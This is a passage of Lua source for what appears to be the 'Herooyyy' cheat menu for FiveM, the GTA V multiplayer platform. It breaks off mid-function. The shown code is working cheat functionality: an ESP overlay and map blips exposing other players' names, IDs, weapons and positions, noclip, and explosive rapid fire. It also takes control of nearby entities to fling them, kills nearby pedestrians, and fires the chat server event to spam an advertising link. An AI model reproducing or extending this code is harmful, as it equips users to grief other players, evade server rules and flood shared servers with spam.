5017 SetVehicleNeonLightEnabled(veh, 6, true)
5018 SetVehicleNeonLightEnabled(veh, 7, true)
5019 SetVehicleNeonLightsColour(veh, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b)
5020 SetVehicleModKit(veh, 0)
5021 ToggleVehicleMod(veh, 20, true)
5022 SetVehicleModKit(veh, 0)
5023 SetVehicleTyreSmokeColor(veh, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b)
5024 SetVehicleNumberPlateTextIndex(veh, true)
5025 --[[Herooyyy.functions.runParticle()]]
5026end
5027
5028Herooyyy.functions.maxPerformanceUpgrades = function(pVehicle)
5029 SetVehicleModKit(pVehicle, 0)
5030 SetVehicleMod(pVehicle, 11, GetNumVehicleMods(pVehicle, 11) - 1, false)
5031 SetVehicleMod(pVehicle, 12, GetNumVehicleMods(pVehicle, 12) - 1, false)
5032 SetVehicleMod(pVehicle, 13, GetNumVehicleMods(pVehicle, 13) - 1, false)
5033 SetVehicleMod(pVehicle, 15, GetNumVehicleMods(pVehicle, 15) - 2, false)
5034 SetVehicleMod(pVehicle, 16, GetNumVehicleMods(pVehicle, 16) - 1, false)
5035 ToggleVehicleMod(pVehicle, 17, true)
5036 ToggleVehicleMod(pVehicle, 18, true)
5037 ToggleVehicleMod(pVehicle, 19, true)
5038 ToggleVehicleMod(pVehicle, 21, true)
5039end
5040
5041Herooyyy.functions.spawnVehicle = function(vehicle_model)
5042 local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
5043 local veh = vehicle_model
5044 if veh == nil then
5045 veh = 'elegy'
5046 end
5047 local vehiclehash = GetHashKey(veh)
5048 RequestModel(vehiclehash)
5049 pCreateThread(function()
5050 local timeout = 0
5051 while not HasModelLoaded(vehiclehash) do
5052 timeout = timeout + 100
5053 pWait(100)
5054 if timeout > 5000 then
5055 Herooyyy.pushNotification('Could not spawn this vehicle!', 5000)
5056 break
5057 end
5058 end
5059 local SpawnedCar = Herooyyy.natives.createVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
5060
5061 SetVehicleStrong(SpawnedCar, true)
5062 SetVehicleEngineOn(SpawnedCar, true, true, false)
5063 SetVehicleEngineCanDegrade(SpawnedCar, false)
5064
5065 if Herooyyy.storedControls.vehSpawnUpgraded then
5066 Herooyyy.functions.maxUpgrades(SpawnedCar)
5067 end
5068
5069 if Herooyyy.storedControls.vehSpawnInside then
5070 SetPedIntoVehicle(Herooyyy.datastore.pLocalPlayer.pedId, SpawnedCar, -1)
5071 end
5072
5073 --[[Herooyyy.functions.runParticle()]]
5074 end)
5075end
5076
5077Herooyyy.functions.spawnCustomVehicle = function(data)
5078 pCreateThread(function()
5079 local timeout = 0
5080 if data.hash == nil then data.hash = 'elegy' end
5081 if not data.coords then data.coords = GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId) end
5082 RequestModel(data.hash)
5083 while not HasModelLoaded(data.hash) do
5084 timeout = timeout + 100
5085 pWait(100)
5086 if timeout > 5000 then
5087 Herooyyy.functions.sendNotification('Could not spawn this vehicle!')
5088 break
5089 end
5090 end
5091
5092 local spawnedCar = Herooyyy.natives.createVehicle(data.hash, data.coords, GetEntityHeading(Herooyyy.datastore.pLocalPlayer.pedId), true, true)
5093
5094 SetVehicleStrong(spawnedCar, true)
5095 SetVehicleEngineOn(spawnedCar, true, true, false)
5096 SetVehicleEngineCanDegrade(spawnedCar, false)
5097
5098 if not Herooyyy.functions.game.isNullOrEmpty(data.plate) then
5099 SetVehicleNumberPlateText(spawnedCar, data.plate)
5100 end
5101
5102 if Herooyyy.storedControls.vehSpawnUpgraded then
5103 Herooyyy.functions.maxUpgrades(spawnedCar)
5104 end
5105
5106 if data.setIn then
5107 SetPedIntoVehicle(Herooyyy.datastore.pLocalPlayer.pedId, spawnedCar, -1)
5108 end
5109
5110 if data.props then
5111 Herooyyy.functions.game.setVehicleProperties(spawnedCar, data.props)
5112 end
5113 end)
5114end
5115
5116Herooyyy.functions.customBullet = function()
5117 function rotDirection(rot)
5118 local radianz = rot.z * 0.0174532924
5119 local radianx = rot.x * 0.0174532924
5120 local num = math.abs(math.cos(radianx))
5121
5122 local dir = vector3(-math.sin(radianz) * num, math.cos(radianz) * num, math.sin(radianx))
5123
5124 return dir
5125 end
5126 pCreateThread(function()
5127 local startDistance = Herooyyy.trashFunctions.getDistance(GetGameplayCamCoord(), GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, true))
5128 local endDistance = Herooyyy.trashFunctions.getDistance(GetGameplayCamCoord(), GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, true))
5129 startDistance = startDistance + 0.25
5130 endDistance = endDistance + 1000.0
5131
5132 if IsPedShooting(Herooyyy.datastore.pLocalPlayer.pedId) then
5133 local bullet = GetHashKey(Herooyyy.menuTables.weaponsCustomBullet.actual)
5134 if not HasWeaponAssetLoaded(bullet) then
5135 RequestWeaponAsset(bullet, 31, false)
5136 while not HasWeaponAssetLoaded(bullet) do
5137 pWait(0)
5138 end
5139 end
5140
5141 Herooyyy.natives.shootSingleBulletBetweenCoords(Herooyyy.trashFunctions.addVector(GetGameplayCamCoord(), Herooyyy.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), startDistance)).x,
5142 Herooyyy.trashFunctions.addVector(GetGameplayCamCoord(), Herooyyy.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), startDistance)).y, Herooyyy.trashFunctions.addVector(GetGameplayCamCoord(),
5143 Herooyyy.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), startDistance)).z, Herooyyy.trashFunctions.addVector(GetGameplayCamCoord(), Herooyyy.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), endDistance)).x,
5144 Herooyyy.trashFunctions.addVector(GetGameplayCamCoord(), Herooyyy.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), endDistance)).y, Herooyyy.trashFunctions.addVector(GetGameplayCamCoord(),
5145 Herooyyy.trashFunctions.multiplyVector(rotDirection(GetGameplayCamRot(0)), endDistance)).z, 250, true, bullet, Herooyyy.datastore.pLocalPlayer.pedId, true, false, -1.0)
5146 end
5147 end)
5148end
5149
5150Herooyyy.functions.rapidFireTick = function()
5151 if Herooyyy.natives.isDisabledControlPressed(0, Keys['MOUSE1']) then
5152 local _, weapon = GetCurrentPedWeapon(Herooyyy.datastore.pLocalPlayer.pedId)
5153 local launchPos = GetEntityCoords(GetCurrentPedWeaponEntityIndex(Herooyyy.datastore.pLocalPlayer.pedId))
5154 local targetPos = GetGameplayCamCoord() + (GetCamDirFromScreenCenter() * 200.0)
5155
5156 ClearAreaOfProjectiles(launchPos, 0.0, 1)
5157
5158 Herooyyy.natives.shootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1, weapon, Herooyyy.datastore.pLocalPlayer.pedId, true, true, 24000.0)
5159
5160 if Herooyyy.storedControls.weapExplosiveAmmo then
5161 Herooyyy.natives.shootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1, 'WEAPON_GRENADE', Herooyyy.datastore.pLocalPlayer.pedId, true, true, 24000.0)
5162 end
5163 end
5164end
5165
5166Herooyyy.functions.toggleESP = function()
5167 local _,x,y = false, 0.0, 0.0
5168
5169 pCreateThread(function()
5170 while Herooyyy.storedControls.visESPEnable and Herooyyy.shouldShowMenu do
5171 local plist = Herooyyy.natives.getActivePlayers()
5172 Herooyyy.trashFunctions.table_removekey(plist, PlayerId())
5173 for i = 1, #plist do
5174 local targetCoords = GetEntityCoords(GetPlayerPed(plist[i]))
5175 _, x, y = GetScreenCoordFromWorldCoord(targetCoords.x, targetCoords.y, targetCoords.z)
5176 local distance = GetDistanceBetweenCoords(GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId), targetCoords)
5177 if distance <= Herooyyy.storedControls.visualsESPDistance then
5178 local _we, wephash = GetCurrentPedWeapon(GetPlayerPed(plist[i]), 1)
5179 local wepname = Herooyyy.trashFunctions.weaponNameFromHash(wephash)
5180 local vehname = 'On Foot'
5181 if IsPedInAnyVehicle(GetPlayerPed(plist[i]), 0) then
5182 vehname = GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(GetPlayerPed(plist[i])))))
5183 end
5184 if wepname == nil then wepname = 'Unknown' end
5185
5186 local espstring1 = ''
5187 local espstring2 = ''
5188 if Herooyyy.storedControls.visESPShowID then
5189 espstring1 = espstring1..'~s~ | ~w~ID: ~s~' .. GetPlayerServerId(plist[i])
5190 end
5191 if Herooyyy.storedControls.visESPShowName then
5192 espstring1 = espstring1..'~s~ | ~w~Name: ~s~' .. GetPlayerName(plist[i])
5193 end
5194 if Herooyyy.storedControls.visESPShowDistance then
5195 espstring1 = espstring1..'~s~ | ~w~Distance: ~s~' .. math.floor(distance)..'~s~ |'
5196 end
5197 if Herooyyy.storedControls.visESPShowWeapon then
5198 espstring2 = espstring2..'~s~ | ~w~Weapon: ~s~' .. wepname
5199 end
5200 if Herooyyy.storedControls.visESPShowVehicle then
5201 espstring2 = espstring2..'~s~ | ~w~Vehicle: ~s~' .. vehname
5202 end
5203 Herooyyy.DrawTxt(espstring1, x - 0.04, y - 0.04, 0.0, 0.3, Herooyyy.mainColor)
5204 Herooyyy.DrawTxt(espstring2, x - 0.04, y - 0.03, 0.0, 0.3, Herooyyy.mainColor)
5205 end
5206 end
5207 pWait(Herooyyy.storedControls.visualsESPRefreshRate)
5208 end
5209 end)
5210end
5211
5212Herooyyy.functions.toggleNoclip = function()
5213 Herooyyy.storedControls.noClip = not Herooyyy.storedControls.noClip
5214 if not Herooyyy.storedControls.noClip then
5215 SetEntityRotation(Herooyyy.datastore.pLocalPlayer.cVehicle, GetGameplayCamRot(2), 2, 1)
5216 end
5217end
5218
5219Herooyyy.functions.getCamDirection = function()
5220 local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(Herooyyy.datastore.pLocalPlayer.pedId)
5221 local pitch = GetGameplayCamRelativePitch()
5222
5223 local x = -math.sin(heading * math.pi / 180.0)
5224 local y = math.cos(heading * math.pi / 180.0)
5225 local z = math.sin(pitch * math.pi / 180.0)
5226
5227 local len = math.sqrt(x * x + y * y + z * z)
5228 if len ~= 0 then
5229 x = x / len
5230 y = y / len
5231 z = z / len
5232 end
5233
5234 return x, y, z
5235end
5236
5237Herooyyy.functions.getSeatPedIsIn = function(ped)
5238 if not IsPedInAnyVehicle(ped, false) then
5239 return
5240 else
5241 veh = GetVehiclePedIsIn(ped)
5242 for i = 0, GetVehicleMaxNumberOfPassengers(veh) do
5243 if GetPedInVehicleSeat(veh) then return i end
5244 end
5245 end
5246end
5247
5248Herooyyy.functions.noclipAdv = function()
5249 local noclipSpeed = 5
5250 local oldnoclipSpeed = 5
5251
5252 local isInVehicle = IsPedInAnyVehicle(Herooyyy.datastore.pLocalPlayer.pedId, 0)
5253 local k = nil
5254 local x, y, z = nil
5255
5256 if not isInVehicle then
5257 k = Herooyyy.datastore.pLocalPlayer.pedId
5258 x, y, z = table.unpack(GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, 2))
5259 else
5260 k = Herooyyy.datastore.pLocalPlayer.cVehicle
5261 x, y, z = table.unpack(GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, 1))
5262 end
5263
5264 if isInVehicle and Herooyyy.functions.getSeatPedIsIn(Herooyyy.datastore.pLocalPlayer.pedId) ~= -1 then Herooyyy.trashFunctions.reqControlOnce(k) end
5265
5266 local dx, dy, dz = Herooyyy.functions.getCamDirection()
5267 --[[Herooyyy.natives.setEntityVisible(Herooyyy.datastore.pLocalPlayer.pedId, 0, 0)
5268 Herooyyy.natives.setEntityVisible(k, 0, 0)]]
5269
5270 SetEntityVelocity(k, 0.0001, 0.0001, 0.0001)
5271
5272 if IsDisabledControlJustPressed(0, Keys['LEFTSHIFT']) then --[[ Change speed]]
5273 oldnoclipSpeed = noclipSpeed
5274 noclipSpeed = noclipSpeed * 2
5275 end
5276 if IsDisabledControlJustReleased(0, Keys['LEFTSHIFT']) then --[[ Restore speed]]
5277 noclipSpeed = oldnoclipSpeed
5278 end
5279
5280 if Herooyyy.natives.isDisabledControlPressed(0, 32) then --[[ MOVE FORWARD]]
5281 x = x + noclipSpeed * dx
5282 y = y + noclipSpeed * dy
5283 z = z + noclipSpeed * dz
5284 end
5285
5286 if Herooyyy.natives.isDisabledControlPressed(0, 269) then --[[ MOVE BACK]]
5287 x = x - noclipSpeed * dx
5288 y = y - noclipSpeed * dy
5289 z = z - noclipSpeed * dz
5290 end
5291
5292 if Herooyyy.natives.isDisabledControlPressed(0, Keys['SPACE']) then --[[ MOVE UP]]
5293 z = z + noclipSpeed
5294 end
5295
5296 if Herooyyy.natives.isDisabledControlPressed(0, Keys['LEFTCTRL']) then --[[ MOVE DOWN]]
5297 z = z - noclipSpeed
5298 end
5299
5300
5301 Herooyyy.natives.setEntityCoordsNoOffset(k, x, y, z, true, true, true)
5302end
5303
5304Herooyyy.functions.magnetoMode = function()
5305 if Herooyyy.storedControls.magnetoMode then
5306 pCreateThread(function()
5307 local ForceKey = Keys[Herooyyy.keyBinds.currentKeybindMagneto.handle]
5308 local Force = 0.5
5309 local KeyPressed = false
5310 local KeyTimer = 0
5311 local KeyDelay = 15
5312 local ForceEnabled = false
5313 local StartPush = false
5314
5315 local function forceMagnetoTick()
5316 if (KeyPressed) then
5317 KeyTimer = KeyTimer + 1
5318 if (KeyTimer >= KeyDelay) then
5319 KeyTimer = 0
5320 KeyPressed = false
5321 end
5322 end
5323 if Herooyyy.natives.isDisabledControlPressed(0, ForceKey) and not KeyPressed and not ForceEnabled then
5324 KeyPressed = true
5325 ForceEnabled = true
5326 end
5327 if (StartPush) then
5328 StartPush = false
5329 local pid = Herooyyy.datastore.pLocalPlayer.pedId
5330 local CamRot = GetGameplayCamRot(2)
5331
5332 local force = 5
5333
5334 local Fx = -(math.sin(math.rad(CamRot.z)) * force * 10)
5335 local Fy = (math.cos(math.rad(CamRot.z)) * force * 10)
5336 local Fz = force * (CamRot.x * 0.2)
5337
5338 local PlayerVeh = GetVehiclePedIsIn(pid, false)
5339
5340 for k in Herooyyy.trashFunctions.enumVehicles() do
5341 SetEntityInvincible(k, false)
5342 if IsEntityOnScreen(k) and k ~= PlayerVeh then
5343 ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true, false, true, true, true, true)
5344 end
5345 end
5346 for k in Herooyyy.trashFunctions.enumPeds() do
5347 if IsEntityOnScreen(k) and k ~= pid then
5348 ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true, false, true, true, true, true)
5349 end
5350 end
5351 end
5352 if Herooyyy.natives.isDisabledControlPressed(0, ForceKey) and not KeyPressed and ForceEnabled then
5353 KeyPressed = true
5354 StartPush = true
5355 ForceEnabled = false
5356 end
5357 if (ForceEnabled) then
5358 local pid = Herooyyy.datastore.pLocalPlayer.pedId
5359 local PlayerVeh = GetVehiclePedIsIn(pid, false)
5360 Markerloc = GetGameplayCamCoord() + (Herooyyy.trashFunctions.rotationToDirection(GetGameplayCamRot(2)) * 20)
5361 DrawMarker(28, Markerloc, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, 1.0, 1.0, 1.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 35, false, true, 2, nil, nil, false)
5362
5363 for k in Herooyyy.trashFunctions.enumVehicles() do
5364 SetEntityInvincible(k, true)
5365 if IsEntityOnScreen(k) and (k ~= PlayerVeh) then
5366 Herooyyy.trashFunctions.reqControlOnce(k)
5367 FreezeEntityPosition(k, false)
5368 Herooyyy.trashFunctions.forceOscillate(k, Markerloc, 0.5, 0.3)
5369 end
5370 end
5371
5372 for k in Herooyyy.trashFunctions.enumPeds() do
5373 if IsEntityOnScreen(k) and k ~= Herooyyy.datastore.pLocalPlayer.pedId then
5374 Herooyyy.trashFunctions.reqControlOnce(k)
5375 SetPedToRagdoll(k, 4000, 5000, 0, true, true, true)
5376 FreezeEntityPosition(k, false)
5377 Herooyyy.trashFunctions.forceOscillate(k, Markerloc, 0.5, 0.3)
5378 end
5379 end
5380 end
5381 end
5382
5383 while Herooyyy.storedControls.magnetoMode do forceMagnetoTick() pWait(0) end
5384 end)
5385 end
5386end
5387
5388Herooyyy.functions.applyShockwave = function(entity, force)
5389 if not force then force = 50 end
5390 local pos = GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId)
5391 local coord = GetEntityCoords(entity)
5392 local dx = coord.x - pos.x
5393 local dy = coord.y - pos.y
5394 local dz = coord.z - pos.z
5395 local distance = math.sqrt(dx * dx + dy * dy + dz * dz)
5396 local distanceRate = (force / distance) * math.pow(1.04, 1 - distance)
5397 ApplyForceToEntity(entity, 1, distanceRate * dx, distanceRate * dy, distanceRate * dz, math.random() * math.random(1, 10), math.random() * math.random(-1, 1), math.random() * math.random(-1, 1), true, false, true, true, true, true)
5398end
5399
5400Herooyyy.functions.doForceFieldTick = function(radius)
5401 local player = Herooyyy.datastore.pLocalPlayer.pedId
5402 local coords = GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId)
5403 local playerVehicle = GetPlayersLastVehicle()
5404 local inVehicle = IsPedInVehicle(player, playerVehicle, true)
5405
5406 DrawMarker(28, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, radius, radius, radius, 180, 80, 0, 35, false, true, 2, nil, nil, false)
5407
5408 for k in Herooyyy.trashFunctions.enumVehicles() do
5409 if (not inVehicle or k ~= playerVehicle) and GetDistanceBetweenCoords(coords, GetEntityCoords(k)) <= radius * 1.2 then
5410 Herooyyy.trashFunctions.reqControlOnce(k)
5411 Herooyyy.functions.applyShockwave(k, 50)
5412 end
5413 end
5414
5415 for k in Herooyyy.trashFunctions.enumPeds() do
5416 if k ~= Herooyyy.datastore.pLocalPlayer.pedId and GetDistanceBetweenCoords(coords, GetEntityCoords(k)) <= radius * 1.2 and not IsPedAPlayer(k) then
5417 Herooyyy.trashFunctions.reqControlOnce(k)
5418 if NetworkHasControlOfEntity(k) then
5419 SetPedRagdollOnCollision(k, true)
5420 SetPedRagdollForceFall(k)
5421 Herooyyy.functions.applyShockwave(k, 50)
5422 end
5423 end
5424 end
5425end
5426
5427Herooyyy.functions.randomClothes = function(target)
5428 pCreateThread(function()
5429 local ped = GetPlayerPed(target)
5430 SetPedRandomComponentVariation(ped, false)
5431 SetPedRandomProps(ped)
5432 end)
5433end
5434
5435Herooyyy.functions.spawnRandomTrain = function()
5436 if Herooyyy.datastore.trainRide.handle then
5437 DeleteMissionTrain(Herooyyy.datastore.trainRide.handle)
5438 Herooyyy.datastore.trainRide.trainSpeed = 5.0
5439 dir_print('Deleted train')
5440 Herooyyy.datastore.trainRide.handle = nil
5441 Herooyyy.datastore.trainRide.handleHasLoaded = false
5442 pWait(100)
5443 if Herooyyy.datastore.trainRide.oldCoords then
5444 Herooyyy.functions.teleportSelf(Herooyyy.datastore.trainRide.oldCoords.x, Herooyyy.datastore.trainRide.oldCoords.y, Herooyyy.datastore.trainRide.oldCoords.z)
5445 end
5446 else
5447 Herooyyy.datastore.trainRide.oldCoords = GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId)
5448 local cablecar = GetHashKey('cablecar')
5449 local metrotrain = GetHashKey('metrotrain')
5450 local freight = GetHashKey('freight')
5451 local freightcar = GetHashKey('freightcar')
5452 local freightgrain = GetHashKey('freightgrain')
5453 local freightcont1 = GetHashKey('freightcont1')
5454 local freightcont2 = GetHashKey('freightcont2')
5455 local freighttrailer = GetHashKey('freighttrailer')
5456
5457 RequestModel(cablecar)
5458 RequestModel(metrotrain)
5459 RequestModel(freight)
5460 RequestModel(freightcar)
5461 RequestModel(freightgrain)
5462 RequestModel(freightcont1)
5463 RequestModel(freightcont2)
5464 RequestModel(freighttrailer)
5465
5466 while (not HasModelLoaded(cablecar)) do pWait(0) end
5467 while (not HasModelLoaded(metrotrain)) do pWait(0) end
5468 while (not HasModelLoaded(freight)) do pWait(0) end
5469 while (not HasModelLoaded(freightcar)) do pWait(0) end
5470 while (not HasModelLoaded(freightgrain)) do pWait(0) end
5471 while (not HasModelLoaded(freightcont1)) do pWait(0) end
5472 while (not HasModelLoaded(freightcont2)) do pWait(0) end
5473 while (not HasModelLoaded(freighttrailer)) do pWait(0) end
5474
5475 local c = GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, false)
5476 Herooyyy.datastore.trainRide.handle = CreateMissionTrain(24, c.x, c.y, c.z, 1)
5477 SetVehicleUndriveable(Herooyyy.datastore.trainRide.handle, false)
5478 TaskWarpPedIntoVehicle(Herooyyy.datastore.pLocalPlayer.pedId, Herooyyy.datastore.trainRide.handle, -1)
5479 dir_print('Spawned train')
5480 Herooyyy.datastore.trainRide.handleHasLoaded = true
5481 end
5482
5483 if Herooyyy.datastore.trainRide.handleHasLoaded then
5484 if (Herooyyy.datastore.pLocalPlayer.cVehicle == Herooyyy.datastore.trainRide.handle) then
5485 local message = 'Train speed: ~b~' .. tostring(Herooyyy.datastore.trainRide.trainSpeed)
5486
5487 if (GetGameTimer() >= timer) then
5488 SetTrainSpeed(Herooyyy.datastore.trainRide.handle, Herooyyy.datastore.trainRide.trainSpeed)
5489 timer = GetGameTimer() + 10
5490 end
5491
5492 if (IsDisabledControlJustReleased(1, Keys['UP'])) then
5493 Herooyyy.datastore.trainRide.trainSpeed = Herooyyy.datastore.trainRide.trainSpeed + 0.1
5494 elseif (IsDisabledControlJustReleased(1, Keys['DOWN'])) then
5495 if (Herooyyy.datastore.trainRide.trainSpeed - 0.1 >= 0.0) then
5496 Herooyyy.datastore.trainRide.trainSpeed = Herooyyy.datastore.trainRide.trainSpeed - 0.1
5497 end
5498 end
5499 end
5500 end
5501end
5502
5503Herooyyy.functions.spamChat = function(message)
5504 if Herooyyy.functions.game.isNullOrEmpty(message) then message = 'www.herooyyy | discord.gg/fjBp55t' end
5505 for colorLoop=2,6 do
5506 Herooyyy.dTCE(true, true, '_chat:messageEntered','herooyyy', {Herooyyy.mainColor.r,Herooyyy.mainColor.g,Herooyyy.mainColor.b},'^'..colorLoop..message)
5507 if Herooyyy.functions.doesResourceExist('esx_rpchat') then
5508 Herooyyy.dTCE(true, true, '_chat:messageEntered','herooyyy', {Herooyyy.mainColor.r,Herooyyy.mainColor.g,Herooyyy.mainColor.b},'/ooc ^'..colorLoop..message)
5509 Herooyyy.dTCE(true, true, '_chat:messageEntered','herooyyy', {Herooyyy.mainColor.r,Herooyyy.mainColor.g,Herooyyy.mainColor.b},'/ad ^'..colorLoop..message)
5510 end
5511 end
5512end
5513
5514Herooyyy.functions.resetAppearance = function()
5515 ClearAllPedProps(Herooyyy.datastore.pLocalPlayer.pedId)
5516 ClearPedDecorations(Herooyyy.datastore.pLocalPlayer.pedId)
5517 SetPedComponentVariation(Herooyyy.datastore.pLocalPlayer.pedId, 1, 0, 0, 0)
5518 SetPedComponentVariation(Herooyyy.datastore.pLocalPlayer.pedId, 5, 0, 0, 0)
5519 SetPedComponentVariation(Herooyyy.datastore.pLocalPlayer.pedId, 9, 0, 0, 0)
5520end
5521
5522Herooyyy.functions.changeAppearance = function(family, model, texture)
5523 if (family == 'HATS' or family == 'GLASSES' or family == 'EARS') then
5524 if (family == 'HATS') then
5525 fam = 0
5526 elseif (family == 'GLASSES') then
5527 fam = 1
5528 elseif (family == 'EARS') then
5529 fam = 2
5530 end
5531 SetPedPropIndex(Herooyyy.datastore.pLocalPlayer.pedId, fam, model - 1, texture, 1)
5532 else
5533 if (family == 'FACE') then
5534 fam = 0
5535 elseif (family == 'MASK') then
5536 fam = 1
5537 elseif (family == 'HAIR') then
5538 fam = 2
5539 elseif (family == 'TORSO') then
5540 fam = 3
5541 elseif (family == 'LEGS') then
5542 fam = 4
5543 elseif (family == 'HANDS') then
5544 fam = 5
5545 elseif (family == 'SHOES') then
5546 fam = 6
5547 elseif (family == 'SPECIAL1') then
5548 fam = 7
5549 elseif (family == 'SPECIAL2') then
5550 fam = 8
5551 elseif (family == 'SPECIAL3') then
5552 fam = 9
5553 elseif (family == 'TEXTURE') then
5554 fam = 10
5555 elseif (family == 'TORSO2') then
5556 fam = 11
5557 end
5558 SetPedComponentVariation(Herooyyy.datastore.pLocalPlayer.pedId, fam, model, texture, 0)
5559 end
5560end
5561
5562Herooyyy.functions.killNearbyPeds = function()
5563 local playerPed = Herooyyy.datastore.pLocalPlayer.pedId
5564 local PedTab, PedCount = GetPedNearbyPeds(playerPed, 30, 30)
5565 for p in Herooyyy.trashFunctions.enumPeds() do
5566 if p ~= playerPed and not IsPedAPlayer(p) then
5567 Herooyyy.natives.setEntityHealth(p, 0)
5568 ExplodePedHead(p, GetHashKey('WEAPON_NIGHTSTICK'))
5569 SetPedToRagdoll(p, 6, 20, 20, true, true, true)
5570 end
5571 end
5572end
5573
5574Herooyyy.functions.playerBlips = function()
5575 if Herooyyy.storedControls.visPlayerBlips then
5576 local plist = Herooyyy.natives.getActivePlayers()
5577 for i = 1, #plist do
5578 local id = plist[i]
5579 local ped = GetPlayerPed(id)
5580 if ped ~= Herooyyy.datastore.pLocalPlayer.pedId then
5581 local blip = GetBlipFromEntity(ped)
5582
5583 --[[HEAD DISPLAY STUFF
5584
5585 Create head display (this is safe to be spammed)
5586 headId = pInvoke( 0xBFEFE3321A3F5015, ped, GetPlayerName( id ), false, false, '', false )
5587
5588 Speaking display
5589 I need to move this over to name tag code
5590 if NetworkIsPlayerTalking(id) then
5591 pInvoke( 0x63BB75ABEDC1F6A0, headId, 9, true )
5592 else
5593 pInvoke( 0x63BB75ABEDC1F6A0, headId, 9, false )
5594 end]]
5595
5596 if not DoesBlipExist(blip) then
5597 blip = AddBlipForEntity(ped)
5598 SetBlipSprite(blip, 1)
5599 pInvoke( 0x5FBCA48327B914DF, blip, true )
5600 else
5601 local veh = GetVehiclePedIsIn(ped, false)
5602 local blipSprite = GetBlipSprite(blip)
5603
5604 if GetEntityHealth(ped) == 0 then
5605 if blipSprite ~= 274 then
5606 SetBlipSprite(blip, 274)
5607 pInvoke( 0x5FBCA48327B914DF, blip, true )
5608 end
5609 elseif veh then
5610 local vehClass = GetVehicleClass(veh)
5611 local vehModel = GetEntityModel(veh)
5612 if vehClass == 15 then
5613 if blipSprite ~= 422 then
5614 SetBlipSprite(blip, 422)
5615 pInvoke( 0x5FBCA48327B914DF, blip, true)
5616 end
5617 elseif vehClass == 8 then
5618 if blipSprite ~= 226 then
5619 SetBlipSprite(blip, 226)
5620 pInvoke( 0x5FBCA48327B914DF, blip, true)
5621 end
5622 elseif vehClass == 16 then
5623 if vehModel == GetHashKey('besra') or vehModel == GetHashKey('hydra') or vehModel == GetHashKey('lazer') then
5624 if blipSprite ~= 424 then
5625 SetBlipSprite(blip, 424)
5626 pInvoke( 0x5FBCA48327B914DF, blip, true)
5627 end
5628 elseif blipSprite ~= 423 then
5629 SetBlipSprite(blip, 423)
5630 pInvoke( 0x5FBCA48327B914DF, blip, true)
5631 end
5632 elseif vehClass == 14 then
5633 if blipSprite ~= 427 then
5634 SetBlipSprite(blip, 427)
5635 pInvoke( 0x5FBCA48327B914DF, blip, true)
5636 end
5637 elseif vehModel == GetHashKey('insurgent') or vehModel == GetHashKey('insurgent2') or vehModel == GetHashKey('insurgent3') then
5638 if blipSprite ~= 426 then
5639 SetBlipSprite(blip, 426)
5640 pInvoke( 0x5FBCA48327B914DF, blip, true)
5641 end
5642 elseif vehModel == GetHashKey('limo2') then
5643 if blipSprite ~= 460 then
5644 SetBlipSprite(blip, 460)
5645 pInvoke( 0x5FBCA48327B914DF, blip, true)
5646 end
5647 elseif vehModel == GetHashKey('rhino') then
5648 if blipSprite ~= 421 then
5649 SetBlipSprite(blip, 421)
5650 pInvoke( 0x5FBCA48327B914DF, blip, false)
5651 end
5652 elseif vehModel == GetHashKey('trash') or vehModel == GetHashKey('trash2') then
5653 if blipSprite ~= 318 then
5654 SetBlipSprite(blip, 318)
5655 pInvoke( 0x5FBCA48327B914DF, blip, true)
5656 end
5657 elseif vehModel == GetHashKey('pbus') then
5658 if blipSprite ~= 513 then
5659 SetBlipSprite(blip, 513)
5660 pInvoke( 0x5FBCA48327B914DF, blip, false)
5661 end
5662 elseif vehModel == GetHashKey('seashark') or vehModel == GetHashKey('seashark2') or vehModel == GetHashKey('seashark3') then
5663 if blipSprite ~= 471 then
5664 SetBlipSprite(blip, 471)
5665 pInvoke( 0x5FBCA48327B914DF, blip, false)
5666 end
5667 elseif vehModel == GetHashKey('cargobob') or vehModel == GetHashKey('cargobob2') or vehModel == GetHashKey('cargobob3') or vehModel == GetHashKey('cargobob4') then
5668 if blipSprite ~= 481 then
5669 SetBlipSprite(blip, 481)
5670 pInvoke( 0x5FBCA48327B914DF, blip, false)
5671 end
5672 elseif vehModel == GetHashKey('technical') or vehModel == GetHashKey('technical2') or vehModel == GetHashKey('technical3') then
5673 if blipSprite ~= 426 then
5674 SetBlipSprite(blip, 426)
5675 pInvoke( 0x5FBCA48327B914DF, blip, false)
5676 end
5677 elseif vehModel == GetHashKey('taxi') then
5678 if blipSprite ~= 198 then
5679 SetBlipSprite(blip, 198)
5680 pInvoke( 0x5FBCA48327B914DF, blip, true)
5681 end
5682 elseif vehModel == GetHashKey('fbi') or vehModel == GetHashKey('fbi2') or vehModel == GetHashKey('police2') or vehModel == GetHashKey('police3')
5683 or vehModel == GetHashKey('police') or vehModel == GetHashKey('sheriff2') or vehModel == GetHashKey('sheriff')
5684 or vehModel == GetHashKey('policeold2') then
5685 if blipSprite ~= 56 then
